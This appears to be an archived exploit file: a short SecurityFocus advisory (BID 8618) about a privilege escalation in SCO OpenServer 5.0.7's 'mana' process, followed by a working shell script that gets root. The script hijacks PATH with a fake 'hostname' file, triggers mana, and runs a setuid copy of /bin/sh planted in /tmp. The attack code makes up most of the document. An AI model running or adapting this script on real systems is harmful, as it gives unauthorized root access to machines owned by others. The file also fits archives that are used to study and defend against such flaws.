27 lines
No EOL
911 B
Bash
Executable file
27 lines
No EOL
911 B
Bash
Executable file
source: https://www.securityfocus.com/bid/8618/info
|
|
|
|
It has been reported that SCO OpenServer Inertnet Manager 'mana' process is prone to a privilege escalation issue allow local users to execute arbitrary code with elevated privileges. mana normally requires authentication, but this may be circumvented via exploitation of BID 8616. An attacker could exploit this issue by setting certain environment variables used by the program to cause an attacker-specified file to be executed with elevated privileges.
|
|
|
|
Successful exploitation of this issue would allow a remote attacker to execute arbitrary code as root.
|
|
|
|
#!/bin/sh
|
|
#
|
|
# OpenServer 5.0.7 - Local mana root shell
|
|
#
|
|
#
|
|
|
|
REMOTE_ADDR=127.0.0.1
|
|
PATH_INFO=/pass-err.mana
|
|
PATH=./:$PATH
|
|
|
|
export REMOTE_ADDR
|
|
export PATH_INFO
|
|
export PATH
|
|
|
|
echo "cp /bin/sh /tmp;chmod 4777 /tmp/sh;" > hostname
|
|
|
|
chmod 755 hostname
|
|
|
|
/usr/internet/admin/mana/mana > /dev/null
|
|
|
|
/tmp/sh |